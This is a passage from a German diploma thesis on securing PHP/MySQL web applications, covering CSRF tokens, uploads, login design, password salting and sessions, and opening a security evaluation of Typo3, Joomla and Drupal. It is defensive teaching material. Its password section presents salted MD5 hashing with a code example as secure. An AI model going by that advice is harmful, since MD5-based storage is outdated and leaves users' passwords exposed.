Soll deshalb eine HTML-Seite per JavaScript eine Information aus der URLübernehmen, muss dieser Wert ebenfalls validiert werden, bevor er weiterver-arbeitet wird. Allerdings muss beachtet werden, dass JavaScript, im Gegensatzzu PHP, keine vorgefertigten Funktionen zur Prüfung von HTML anbietet. Die-se Funktionen muss der Programmierer unter Zuhilfenahme von verschiedenenString-Funktionen selber erstellen. Da hier durchaus Fehler passieren könnenund gewisse Konstrukte nicht abgesichert sind (z.B. nicht geschlossene Tags),sollte auf ein lokales Übernehmen von Benutzerinformationen weitgehend ver-zichtet werden. Stattdessen kann die Seite mit den benötigten Informationen re-kursiv aufgerufen werden, damit die übermittelten Informationen durch PHP ge-prüft werden können.

4.9 Cross-Site Request Forgery verhindern

Da CSRF durch das Design der Webanwendung erst ermöglicht wird, ist es be-sonders aufwendig bereits vorhandene Anwendungen gegen solche Angriffe ab-zusichern. Im Folgenden werden verschiedene Schutzmechanismen vorgestellt,mit denen Webanwendungen gegen Angriffe gesichert werden können.

4.9.1 POST statt GET

CSRF-Angriffe lassen sich sehr leicht über ein manipuliertes img-Tag ausführen,wenn die Anwendung eine GET-Anfrage erwartet. Wird in der Anwendung nunPOST anstelle von GET verwendet, um die Anfrage entgegenzunehmen, funk-tioniert der Angriff mit dem img-Tag nicht mehr. Dies ist allerdings kein allum-fassender Schutz gegen CSRF, dem Angreifer wird es lediglich etwas schwerergemacht30.

30vgl. [KUNZ ESSER 2008, S. 116]

Page 62: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

53

4.9.2 CAPTCHAS, Passwortabfrage und Bestätigungsmails

CAPTCHAS31 werden in vielen Webanwendungen zur Verifizierung eines mensch-lichen Benutzers verwendet. Sie sind oft in Foren bei der Registrierung zu findenum dort zu verhindern, dass Bots eine automatische Registrierung vornehmenund anschließend Spam posten.

Diese CAPTCHAS können auch in anderen Bereichen der Webanwendungverwendet werden, um dort die feste Absicht zu verifizieren, dass der Benut-zer auch tatsächlich die gewählte Aktion ausführen möchte. Da ein manipulier-ter img-Tag in einem Forum den Inhalt des CAPTCHAS nicht kennen kann, istdie Anwendung in diesem Falle vor CSRF geschützt32. Facebook33 setzt dieseFunktion flächendeckend ein.

Ein Nachteil bei der Verwendung kann die Störung des Arbeitsflusses des Be-nutzers sein. Um einen umfassenden Schutz herzustellen, müsste bei fast jederAktion des Benutzers ein CAPTCHA zur Anwendung kommen, selbst beim Lo-gout. Da dies nicht praktikabel ist, wird die Funktion oftmals nur bei sicherheitsre-levanten Teilen der Anwendung verwendet. CAPTCHAS können also nur als einMittel von vielen sein, um CSRF zu verhindern.

Anstelle von CAPTCHAS kann auch das Passwort des Benutzers abgefragtwerden. Der Sicherheitsgewinn ist derselbe wie bei dem Einsatz von CAPTCHAS.Bei hochsensiblen Teilen der Anwendung kann auch eine Bestätigungsmail zumEinsatz kommen. Möchte der Benutzer eine Aktion in diesem Teil der Anwendungausführen, wird eine Bestätigungsmail versandt. Den Erhalt der der Mail muss derBenutzer bestätigen, meist durch einen in der Mail enthaltenen Link.

4.9.3 Einsatz von Token

Die wohl sicherste Methode um CSRF zu verhindern, ist der Einsatz von To-ken. Die Funktion eines solchen Tokens ist relativ simpel. Nach dem Login in derWebanwendung erhält der Benutzer ein Session-Cookie, in dem der Token ge-speichert wird. Gleichzeitig wird der Token an jeden Link angehängt und in jedesFormular als verstecktes Element eingefügt34. Bei der Generierung muss daraufgeachtet werden, dass ein Angreifer den Token nicht erraten kann. Deshalb soll-te ein Hash-Wert aus Zufallszahlen und einem Salt-Wert verwendet werden, dender Angreifer nicht kennen kann.

Klickt der Benutzer anschließend auf einen Link oder schickt er ein Formular

31Meist eine Kombination aus Buchstaben und Zahlen, die als Bild angezeigt wird32vgl. [KUNZ ESSER 2008, S. 118]33vgl. [FACEBOOK 2009]34vgl. [HEIDERICH et. al 2009, S. 293ff]

Page 63: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

54

ab, wird der per Cookie übermittelte Token mit dem per GET / POST übermitteltenToken verglichen. Stimmen beide Werte überein, wird die gewählte Aktion ausge-führt, ansonsten erhält der Benutzer eine Fehlermeldung. Am Ende des Scriptswird ein neuer Token generiert, der den alten Token im Cookie ersetzt und eben-falls wieder an alle Links angehängt wird. Versucht nun ein Angreifer z.B. perimg-Tag eine CSRF-Attacke, läuft diese ins Leere, da der Angreifer den Tokennicht kennen kann.

Abbildung 4.1: Token im Joomla-Quellcode

Der Einsatz von Token schützt ebenfalls bei POST-Anfragen, so dass bei kor-rekter Verwendung keine CSRF-Attacke mehr möglich ist. Allerdings muss dar-auf geachtet werden, dass die Anwendung ebenfalls gegen XSS geschützt ist.Schleust ein Angreifer JavaScript in die Anwendung ein, kann er den Token ausdem Cookie, oder falls dies nicht möglich sein sollte (z.B. wegen der aktiviertenOption http-only35), aus dem Quelltext der HTML-Seite auslesen. Ein Schutzwäre in diesem Fall natürlich nicht mehr gegeben.

35vgl. [PHP 2009(9)]

Page 64: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

55

4.9.4 Tag-Überprüfung

Die bisher vorgestellten Sicherungsmaßnahmen schützen die Anwendung vorCSRF. Damit sie aber nicht als Ausgangspunkt für einen Angriff auf einen Drittengenutzt werden kann, sollte vom Benutzer übermittelter Inhalt überprüft werden.Handelt es sich um ein Forum, sollten übermittelte img-Tags des BBCodes aufihre Korrektheit überprüft werden, damit dort nur URL’s zu Bildern angegebenwerden. Allerdings kann selbst diese Schutzfunktion einen erfahrenen Angreifernicht davon abhalten, ein img-Tag für einen Angriff zu missbrauchen, es wird ihmlediglich erschwert.

4.10 Datei-Uploads absichern

Generell stellen Dateiuploads alleine noch keine Sicherheitslücke dar, erst dieWeiterverarbeitung kann Risiken hervorbringen. Zunächst sollte der MIME-Typejeder hochgeladenen Datei überprüft werden und nicht nur die Dateiendung. DiePHP Bibliothek PECL36 stellt dazu die Erweiterung ’Fileinfo’ zur Verfügung. Je-doch kann sich trotz korrektem MIME-Type in der Datei ausführbarer PHP-Codeverstecken, der von den PHP-Dateifunktionen nicht erkannt wird. Deshalb solltenvom Benutzer hochgeladene Dateien nicht per include() oder require() ein-gebunden werden, da sonst eventuell vorhandener PHP-Code ausgeführt wird.

Darf der Benutzer gepackte Dateien, wie z.B. ZIP-Dateien oder TAR-Archive,hochladen, müssen diese vor der Weiterverarbeitung durch einen Virenscannerüberprüft werden. Erst wenn diese Überprüfung stattgefunden hat, kann die Dateiohne Gefahr entpackt werden.

4.11 Sichere Softwarearchitektur

Sichere Webanwendungen zeichnen sich nicht nur durch das Schließen der wich-tigsten Sicherheitslücken aus, sondern ebenfalls durch eine von Grund auf siche-re Architektur. Deshalb muss schon in der Designphase auf zahlreiche Sicher-heitsaspekte Acht gegeben werden, da eine spätere Änderung oft sehr aufwendigist. Im Folgenden werden verschiedene Vorgehensweisen und Methoden erarbei-tet, die für eine sichere Anwendung von großer Bedeutung sind.

36vgl. [PECL 2008]

Page 65: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

56

4.11.1 Preisgabe von Informationen

Gibt die Webanwendung mehr Informationen heraus als eigentlich notwendig,können diese für einen Angreifer von großer Bedeutung sein. Das zugrundeliegende Prinzip nennt sich ’Security through obscurity’. Durch Geheimhaltungund Verschleierung soll so Sicherheit erreicht werden. Die moderne Kryptologienimmt zwar inzwischen Abstand von diesem Prinzip, bei der Erstellung und Kon-figuration von Webanwendungen kann es als Ergänzung aber durchaus nützlichsein. Allerdings muss darauf hingewiesen werden, dass potenziell vorhandeneSicherheitslücken dadurch nicht geschlossen werden.

4.11.1.1 Informationen in der URL und in Formularen

Viele Webanwendungen geben noch immer sehr viele Informationen in der URLpreis. Durch verschiedene Parameter kann ein Angreifer oft erkennen, um wel-ches System es sich handelt. Als Ende der 1990er Jahre durch die immer besserwerdende PHP-Unterstützung zahlreiche Content-Management-Systeme aufka-men, setzte sich das Prinzip durch, viele Informationen durch Parameter überdie URL zu übergeben. Diese URL’s enthielten oft Benutzer-ID’s und andere si-cherheitsrelevante Informationen. Ein Angreifer konnte innerhalb von Sekundenerkennen, um welches System es sich handelte. Selbst recht unerfahrene Be-nutzer konnten durch Verändern von Werten die Anwendung kompromittieren.Viele Webanwendungen setzen aktuell auch noch auf das Prinzip. Grundsätzlichist gegen die Informationsübermittlung durch die URL nichts einzuwenden. So-bald aber exotische Konstrukte oder sicherheitsrelevante Informationen (wie z.B.die Benutzer-ID) übermittelt werden, sollte von diesem Prinzip Abstand genom-men werden. Der Apache Webserver erlaubt mittels htaccess die Übergabe einerURL, die so auf dem Server gar nicht existiert. Mittels dieser Direktive kann einesehr kryptische URL in eine leserliche URL umgeschrieben werden.

Die URL

http://example.com/index.php?action=search

&searchstring=test&user_id=1

wird zu

http://example.com/Admin/search/test

Intern wandelt der Apache-Webserver die kurze URL wieder in die lange URL

Page 66: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

57

um, damit die Webanwendung sie verarbeiten kann. Der Benutzer bekommt da-von nichts mit, der Browser zeigt nur die kurze URL an. Ein Angreifer hat es beider kurzen URL wesentlich schwerer, das zugrunde liegende System zu erken-nen.

Das beschriebene Prinzip gilt nicht nur für URL’s alleine, sondern auch für dieÜbergabe durch Formulare. Auch hier sollten keine sicherheitsrelevanten Infor-mationen, wie die Benutzer-ID, übermittelt werden, da diese von einem Angrei-fer leicht manipuliert werden können und auf die Funktionsweise des Systemsschließen lassen.

4.11.1.2 Kommentare, Metadaten und Dateialtlasten

HTML-Kommentare und Meta-Daten verraten oft mehr über das eingesetzte Sys-tem, als vielen Nutzern bewusst sind. Oft werden seitens der ProgrammiererKommentare im HTML-Quelltext vergessen, die wichtige Informationen enthalten.In seltenen Fällen werden sogar komplette Logindaten im Quelltext vergessen.

Auch Meta-Daten können einem Angreifer Aufschluss über das genaue Systemgeben. Viele Anwendungen verwenden den Meta-Tag ’generator’ als Identifikati-onsmerkmal. Dort finden sich oft Name und Version des eingesetzten Systems.Ist ein Angreifer erst einmal an diese Informationen gelangt, kann er nach Alt-lasten oder Installationsroutinen suchen. Testdateien sind oftmals weniger gutgegen Angriffe gesichert oder geben den ungeschützten Zugriff auf interne Infor-mationen frei, so dass ein Angreifer ohne große Umwege die Anwendung unterseine Kontrolle bringen kann. Um dies zu vermeiden, sollten sämtliche Kommen-tare und Meta-Daten, die auf das eingesetzte System schließen lassen, entferntwerden. Nicht benötigte Dateien sollten ebenfalls gelöscht werden, um einem An-greifer dort keinen Ansatzpunkt zu bieten.

4.11.1.3 Login

Logins geben oftmals mehr Informationen an die Benutzer weiter als unbedingtnötig. Schlägt ein Loginversuch fehl, bekommt der Benutzer sehr oft die Informa-tion, woran der Login gescheitert ist. Gibt die Anwendung z.B. die Meldung aus,dass der angegebene Benutzername nicht gefunden wurde, kann ein Angreiferso lange einen Loginversuch unternehmen, bis diese Meldung nicht mehr auf-tritt. Danach kann er per Brute-Force das Passwort suchen. Da viele Benutzernoch immer einfache und kurze Passwörter verwenden, ist die Wahrscheinlich-keit groß, dass ein Angreifer in relativ kurzer Zeit das Passwort gefunden hat. Einautomatisiertes Script kann mehrere tausend Loginversuche pro Minute durch-führen. Ein solcher Angriff zeigt nach wenigen Stunden, spätestens Tagen erste

Page 67: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

58

Erfolge, je nach Benutzerstamm der Anwendung.Aus dem Grund sollte dem Benutzer nach einem fehlgeschlagenen Loginver-

such zwar eine Meldung ausgegeben werden, jedoch nur mit der Information,dass seine Daten falsch sind. Ein legitimer Benutzer wird daraufhin seinen An-meldenamen und sein Passwort überprüfen. Ein Angreifer kann nicht mehr Be-nutzernamen und Passwort durch Hilfe der Anwendung erraten.

4.11.2 Authentifizierung

Der Login und die anschließende Authentifizierung des Benutzers ist einer dersensibelsten Bereiche einer Webanwendung. Um einen sicheren Ablauf zu ge-währleisten, müssen einige Aspekte beachtet werden, die im Folgenden betrach-tet werden.

4.11.2.1 SSL

Ein jeder Login auf der Webanwendung sollte ausschließlich über eine verschlüs-selte SSL-/TLS-Verbindung37 erfolgen. Eine SSL-Verbindung stellt sicher, dassdie Kommunikation zwischen dem Browser des Benutzers und der Anwendungverschlüsselt erfolgt. Durch ein Zertifikat wird zusätzlich sichergestellt, dass dieAnwendung ihre Identität nachweist. Dazu können bei verschiedenen Anbieternim Internet Zertifikate erworben werden38. Der Administrator eines Servers kannauch sein eigenes Zertifikat erstellen, um so Kosten zu sparen. Die Kommuni-kation ist anschließend zwar verschlüsselt, allerdings fehlt der Identitätsnachweisund der Browser zeigt eine spezielle Meldung an.

Per SSL sollte nicht nur der Loginbereich, sondern ebenfalls alle anderen sen-siblen Seiten der Anwendung abgesichert werden.

4.11.2.2 Benutzernamen

Bei vielen Webanwendungen kann sich der jeweilige Benutzer mit seiner E-Mail-Adresse anmelden. Ist diese Adresse einem Angreifer bekannt, muss dieser nurnoch das zugehörige Passwort ermitteln. Da im Internet Listen kursieren, aufdenen mehrere Millionen E-Mail-Adressen aufgelistet sind, ist es für einen An-greifer kein Problem, an eine Vielzahl von Adressen zu gelangen. Aus diesemGrund sollte die Webanwendung dem Benutzer einen eindeutigen Anmeldena-men zuteilen, oder der Benutzer sollte diesen zumindest selber wählen können.Bei einem Login sollte ausschließlich dieser Anmeldename verwendet werden.

37Secure Sockets Layer, [TLS 2009]38vgl. [OPENSSL 2009], [VERISIGN 2009]

Page 68: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

59

4.11.2.3 Passwortstärke

Die Passwörter der Benutzer stellen eine weitere Schwachstelle der Anwendungdar. Wählt der Benutzer ein zu kurzes Passwort, kann ein automatisiertes Scriptdas Passwort innerhalb von Minuten erraten. Bei der Registrierung und im in-ternen Bereich bei einer Passwortänderung sollte das Passwort im Optimalfallautomatisch vergeben werden. Ist dies aus Gründen des Benutzerkomforts nichtgewünscht, sollte das Passwort zumindest auf einige Sicherheitsaspekte geprüftwerden.

Damit ein Passwort einer Brute-Force Attacke einige Zeit lang standhält, soll-te es aus mindestens 8 Zeichen bestehen. Ebenfalls sollten Groß- und Klein-schreibung sowie Sonderzeichen verwendet werden. PECL39 stellt die Erweite-rung ext/crack zur Verfügung, mit der Passwörter auf ihre Stärke geprüft wer-den können. Ist das Passwort zu schwach, werden verschiedene Meldungen aus-gegeben. So kann sichergestellt werden, dass der Benutzer ein sicheres Pass-wort verwendet.

4.11.2.4 Stammdatenprüfung

Nachdem der Benutzer über Loginformular übermittelt hat (hier sollte als Request-Methode nur POST verwendet werden), müssen die Daten mit den gespeichertenInformationen in der Datenbank abgeglichen werden. Da Benutzernamen undPasswörter innerhalb der Datenbank meist in VARCHAR-Feldern gespeichert wer-den, unterscheidet die Datenbank nicht zwischen Groß- und Kleinschreibung. EinBenutzer, dessen Anmeldename sich nur durch Groß-/ Kleinschreibung von ei-nem anderen Benutzer unterscheidet, erhält möglicherweise daraufhin die Rech-te des anderen Benutzers. Um diese Problematik zu vermeiden, sollte der über-mittelte Anmeldename gehasht werden und dieser mit dem gehashten Wert desgespeicherten Anmeldenamens verglichen werden. Alternativ kann der Anmel-dename auch ungehasht vergleichen werden, bei MySQL kann dafür das Schlüs-selwort BINARY verwendet werden. Hier werden dann auch Groß- und Klein-schreibung beachtet.

4.11.3 Sichere Passwortverwaltung

Passwörter sollten niemals im Klartext in der Datenbank abgelegt werden. Würdeeinem Angreifer Zugriff auf die Datenbank gelingen, lägen ihm sämtliche Pass-wörter der registrierten Benutzer als Klartext vor. Aus diesem Grund sollten Pass-wörter immer gehasht oder zumindest verschlüsselt in der Datenbank gespei-

39vgl. [PECL 2008]

Page 69: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

60

chert werden. Hierbei ist Hashing einer Verschlüsselung vorzuziehen, da einHash-Wert nicht in seinen Ursprungswert entschlüsselt werden kann.

4.11.3.1 Salting

Da der weit verbreitete Hash-Algorithmus MD5 durch zahlreiche Rainbow-Tablesangreifbar geworden ist, sollten Passwörter mit einem noch sichereren Algorith-mus gehasht werden. Allerdings ist es auch bei neuen Algorithmen nur eine Fra-ge der Zeit, bis Rainbow-Tables eine beachtliche Größe annehmen werden. Diesstellt auch keine Sicherheitslücke im Algorithmus selbst dar, sondern liegt in derNatur der Sache einer Prüfsumme. Je länger ein Algorithmus eingesetzt wird,desto größer werden die Rainbow-Tables. Gelangt ein Angreifer an das gehashtePasswort, z.B. durch Session-Diebstahl, kann er den Hash mit einer Rainbow-Table abgleichen. Sind die Passwörter recht kurz und enthalten wenig oder keineSonderzeichen, ist die Wahrscheinlichkeit groß, dass ein Klartextwert ausgelesenwerden kann.

Um diesem Problem zu begegnen, kann das so genannte Salting40 eingesetztwerden. Bei dieser Methode wird vor dem eigentlichen Hashing-Vorgang ein zu-sätzlicher Wert an das zu hashende Passwort angehängt. Dies kann z.B. einkompletter 32-Bit Hash sein. Danach wird die neu entstandene Zeichenkette ge-hasht.

$passwort = ’meinPasswort’;

// Hash-Wert: f14a298bc87fff2cd757f71054fdd94d

$salt = ’meinSalt’;

// Hash-Wert: b056ca9af325f01177518c115d8a511b

$passwort_hashed = md5(md5($passwort).md5($salt));

// Hash-Wert: 4d603d1c02d2562c13b7f8f364a3b9a6

In diesem Beispiel wird das eigentliche Passwort ’meinPasswort’ in einen md5-Hash umgerechnet. An den entstandenen Hash wird ein zweiter Hash, das sogenannte ’salt’ angehängt. Die neue Zeichenkette41 wird erneut gehasht. DieserWert wird anschließend in der Datenbank abgelegt. Gelangt nun ein Angreiferan diesen Wert, kann er zwar unter Umständen eine passende Zeichenkette fin-den, diese stellt aber nicht das Passwort des Benutzers dar und ist somit für denAngreifer nutzlos. Selbst wenn ein Angreifer den Salt und die Salting-Methode

40vgl. [HEIDERICH et. al 2009, S. 407]41zwei 32-Stellige Hash-Werte kombiniert

Page 70: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

61

kennt, benötigt er viel Zeit, um das ursprüngliche Passwort per Brute-Force zu er-rechnen. Bei einem 8-Stelligen Passwort, das Buchstaben42 und Zahlen besteht,benötigt ein Angreifer über 15 Tage, bis er sämtliche Kombinationen errechnethat. Bei neun Stellen sind es schon über 2,5 Jahre43.

4.11.3.2 Vergessene Passwörter

Die Salting-Methode bringt durch ihre Sicherheit für den Benutzer eine kleine Un-bequemlichkeit mit sich. Sollte er sein Passwort vergessen, kann es ihm nichtwieder angezeigt werden. Viele Anwendungen senden dem Benutzer das Pass-wort (oder auch ein neu generiertes Passwort) per Mail zu, rein aus Gründen derBequemlichkeit. Da die meisten Mails noch immer unverschlüsselt versendet undebenfalls unverschlüsselt empfangen werden, sollten Passwörter nie per Mail aneinen Benutzer geschickt werden.

Für den Fall, dass ein Benutzer sein Passwort vergessen hat, sollte die Weban-wendung ein neues Passwort generieren und dem Benutzer dieses als Klartexteinmalig anzeigen. Alternativ kann auch ein Captcha für die Anzeige verwendetwerden.

4.11.4 Sessions

Da HTTP ein zustandsloses Protokoll ist, kann der Server den Client ohne Hilfs-mittel nicht eindeutig identifizieren. Aus diesem Grund wurden Sessions einge-führt, mit deren Hilfe eine eindeutige Zuordnung des Clients möglich ist. Da Ses-sions von PHP verwaltet werden, ist die Benutzung sehr einfach, sie eignen sichdeshalb sehr gut für Logins.

4.11.4.1 Einstellungen

Auch bei Sessions müssen einige Sicherheitsaspekte beachtet werden. Die Session-ID sollte aus Sicherheitsgründen nur in einem Cookie gespeichert werden undsollte nicht per POST oder GET übergeben werden. Als zusätzliche Absicherungsollte die Option http-only44 aktiviert werden. Sie verhindert, dass der Session-Cookie per JavaScript ausgelesen wird und ein Sessiondiebstahl stattfindet. DasStarten einer Session muss vom Server ausgehen. Übermittelt ein Benutzer ei-ne eigene Session-ID, muss diese durch eine neue ID ersetzt werden, damit

42inkl. Groß-/ Kleinschreibung43bei ca. 167 Millionen errechneten Werten pro Sekunde44vgl. [PHP 2009(9)]

Page 71: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

62

ein Angreifer einem potenziellen Opfer keine manipulierte Session-ID unterschie-ben kann. Nach einem Logout sollte die komplette Session beendet werden, da-mit im http-Header keine Spuren der vorherigen Session zurückbleiben, falls dieSession-ID doch per URL übergeben wurde. PHP bietet zudem die Möglichkeit,den Speicherort der Sessiondaten auf dem Server zu ändern. In der Standarde-instellung werden diese Daten in einem temporären Ordner abgelegt. Sind dieZugriffsrechte unzureichend gesetzt, könnte ein fremdes Script die Sessionda-ten auslesen. Aus diesem Grund sollte der Speicherort einer Session in einenanderen Ordner verlegt werden. Die Daten können ebenfalls in der Datenbankgespeichert werden. Je nach Anzahl der Benutzer kann dies jedoch zu einer er-höhten Last auf dem Server führen.

4.11.4.2 Sessionnutzung zur Authentifizierung

Sessions eignen sich hervorragend zur Authentifizierung von Benutzern. Nacheinem erfolgreichen Login können Benutzerrechte und weitere Optionen in derSession gespeichert werden. So muss nicht bei jedem Seitenaufruf eine Daten-bankanfrage stattfinden, um diese Informationen auszulesen. Zudem ist die Be-nutzung von Sessions im Vergleich zur manuellen Cookieverwaltung sicherer, einAngreifer hat bei Sessions keine Möglichkeit vorgegebene Werte zu manipulieren(bis auf die Session-ID selbst). Aus diesem Grund können in Sessions Informa-tionen gespeichert werden, die normalerweise nicht in Cookies platziert werdensollten.

4.11.5 Automatisiertes Aufbereiten von Eingaben

Wie die große Zahl an Sicherheitslücken in Webanwendungen zeigt, sind sichviele Programmierer nicht im Klaren, wie gefährlich vom Benutzer übergebeneWerte sein können. Sicherungsmaßnahmen werden aus Unwissenheit oder Un-achtsamkeit nicht implementiert, so dass die Webanwendung einem Angreiferschutzlos ausgeliefert ist. Da dies auch bei sehr großen und bekannten Weban-wendungen der Fall ist, könnte ein automatisiertes Aufbereiten von Benutzerein-gaben Abhilfe schaffen und die meisten Sicherheitslücken schließen.

4.11.5.1 Funktionsweise

Benutzer können über verschiedene Wege Informationen an die Webanwendungübermitteln. Hier spielen nicht nur POST und GET eine Rolle, sondern eine Viel-zahl von anderen Möglichkeiten:

• $_SERVER

Page 72: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

63

• $_POST

• $_GET

• $_REQUEST

• $_COOKIE

• $_FILES

Über diese Variablen hat ein Script Zugriff auf Werte, die vom Benutzer vorge-geben werden. Wenn überhaupt eine Prüfung stattfindet, beschränkt diese sichmeistens auf POST und GET. Dabei wird übersehen, dass selbst $_SERVER po-tenziell gefährliche Werte enthalten kann, die ein Angreifer einschleusen möchte.Viele Anwendungen übernehmen Headerdaten für Statistiken. Da diese Datenvermeintlich nicht vom Benutzer, sondern vom Browser stammen, werden die-se oft ungeprüft in ein SQL-Statement übernommen. Ein Angreifer kann z.B. denHost oder Referer manipulieren und so Injections einschleusen. Bevor diese Wer-te vom Script zur Weiterverarbeitung übernommen werden, tritt die automatisier-te Aufbereitung in Aktion. Sie dekodiert die Werte, entfernt HTML sowie Scriptingund nimmt ein Escaping der Werte vor. Dies kann über eine spezielles Script er-reicht werden, das am Anfang der zu schützenden Datei per include eingebundenwird. Anschließend kann der Programmierer im Script die Variablen verwenden,ohne eine weitere Prüfung auf XSS oder Injections vornehmen zu müssen. Le-diglich die Prüfung des Varablentyps obliegt dem Programmierer selbst, da dievorherige Prüfung natürlich nicht wissen kann, welchen Typ der Programmierererwartet.

Durch eine solche automatisierte Aufbereitung können durch Flüchtigkeitsfeh-ler keine Sicherheitslücken mehr entstehen. Ein weiterer Vorteil der automati-sierten Aufbereitung liegt in der einfachen Pflege. Werden neue Angriffsmusterbekannt die bislang nicht erkannt wurden, ist nur eine Datei zu tauschen. Vorhermussten sämtliche Scripte der Anwendung überprüft und geändert werden.

4.11.5.2 Risiken

Die automatisierte Aufbereitung stellt zwar eine praktische Methode dar um Si-cherheitslücken zu schließen, aber auch hier müssen einige Punkte beachtet wer-den.

Am Anfang einer jeden Datei muss die entsprechende Routine eingefügt wer-den. Dies ist zwar durch eine einzige include-Zeile möglich, jedoch darf auch hierdie Unachtsamkeit vieler Programmierer nicht unterschätzt werden.

Page 73: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

64

Werden nach der Aufbereitung Werte vom Programmierer verändert, z.B. durchdas Kürzen des Strings oder durch das Ersetzen von Zeichen, können nichtvorhersehbare Effekte auftreten. Nach einer solchen Aktion muss der Benutzerdie Variable erneut aufbereiten lassen. Die Routine kann dafür eine spezielleFunktion zur Verfügung stellen. Auch hier muss der Programmierer diese Akti-on bewusst vornehmen, um eventuelle Risiken zu vermeiden. Jedoch ist hier dieGefahr einer Sicherheitslücke niedrig, da die Wahrscheinlichkeit gering ist, dassdurch eine Bearbeitung ein neuer gefährlicher String entsteht. Die Möglichkeitbesteht jedoch und sollte deshalb auch nicht unerwähnt bleiben.

Page 74: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

65

5 Evaluation von dreiContent-Management-Systemen

Content-Management-Systeme (CMS) erfreuen sich seit einiger Zeit großer Be-liebtheit. Über ein CMS kann ein Autor ohne Kenntnis von HTML oder Program-miererfahrung unter anderem eine umfangreiche Homepage erstellen. Wird dasCMS ausschließlich im Web-Bereich eingesetzt, vorwiegend zur Verwaltung vonWebseiten, wird auch von WCMS (Web-Content-Management-System) gespro-chen. In diesem Kapitel werden drei prominente Systeme betrachtet:

• Typo31

• Joomla2

• Drupal3

Anhand der in Kapitel 4 erarbeiteten Sicherungen werden diese drei Systemegeprüft.

5.1 Grundlagen

Die hier zu betrachtenden Systeme sind als Open-Source Software frei zum Dow-nload erhältlich, basieren auf PHP und benötigen eine MySQL Datenbank. Überein Administrator-Backend können sämtliche notwendigen Einstellungen vorge-nommen werden. Die Änderungen werden sofort übernommen, der Benutzermuss keinerlei Dateien hochladen, wie es bei einer Offline-Änderung der Fallwäre.

Durch verschiedene Module, die entweder direkt vom Anbieter aber auch vonDritten zum Download angeboten werden, können alle drei Systeme um verschie-dene Funktionen erweitert werden.

1vgl. [TYPO3 2009]2vgl. [JOOMLA 2009]3vgl. [DRUPAL 2009]

Page 75: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

66

5.2 Prüfschema

Alle drei Systeme werden anhand eines festen Prüfschemas auf Sicherheits-lücken getestet. Dabei werden Tests über Beispielseiten durchgeführt, die in je-dem System zum Testen erstellt wurden. Ebenso werden die wichtigsten Dateienauf Risiken im Code selbst geprüft.

Funktionalität, Bedienbarkeit und andere qualitative Aspekte werden ausdrück-lich nicht betrachtet. Da sich alle Systeme hinsichtlich ihres Einsatzes und Um-fangs unterscheiden, muss der Anwender für sich selber entscheiden, welchesSystem seinen Ansprüchen genügt.

Die durchgeführten Prüfungen dienen ausschließlich zur Feststellung der Si-cherheit und inwieweit Risiken in der Software bestehen.

5.2.1 Server

Alle drei Content-Management-Systeme werden sowohl auf einem virtuellemWindows- und Linux-Server getestet. Der Windows-Server wird mit Windows XPbetrieben. Als Webserver kommt Apache 2 zum Einsatz. MySQL 5 dient als Da-tenbankserver. PHP liegt in der Version 5.2.5 vor. Die Fehlerberichte von PHPsind aktiviert, damit z.B. eine SQL-Injection leicht erkannt werden kann. Auchlässt sich so überprüfen, ob das System sauber programmiert wurde, oder obschon im normalen Betrieb Fehlermeldungen von PHP ausgegeben werden.

5.2.2 Tests

Im Folgenden werden verschiedene Tests vorgestellt, die bei allen Systemen an-gewendet werden. Bei allen Systemen werden sowohl der Softwarekern, als auchErweiterungen getestet. Weist schon der Kern Sicherheitslücken auf, ist es füreinen Angreifer ein Leichtes die Software zu kompromittieren oder sie komplettzu übernehmen. Erweiterungen stellen ebenfalls ein großes Risiko für die Syste-mintegrität dar. Viele populäre Erweiterungen stammen von Drittentwicklern, dieoftmals sicherheitsrelevante Prüfungen vernachlässigen und Angreifern so einEinfallstor in die Software bieten.

5.2.2.1 SQL-Injections

Da alle Systeme Informationen vom Benutzer entgegennehmen, werden ver-schiedene Zeichenketten eingegeben um die Behandlung von SQL-Injections zuüberprüfen.

Geprüft werden Informationen aus verschiedenen Quellen:

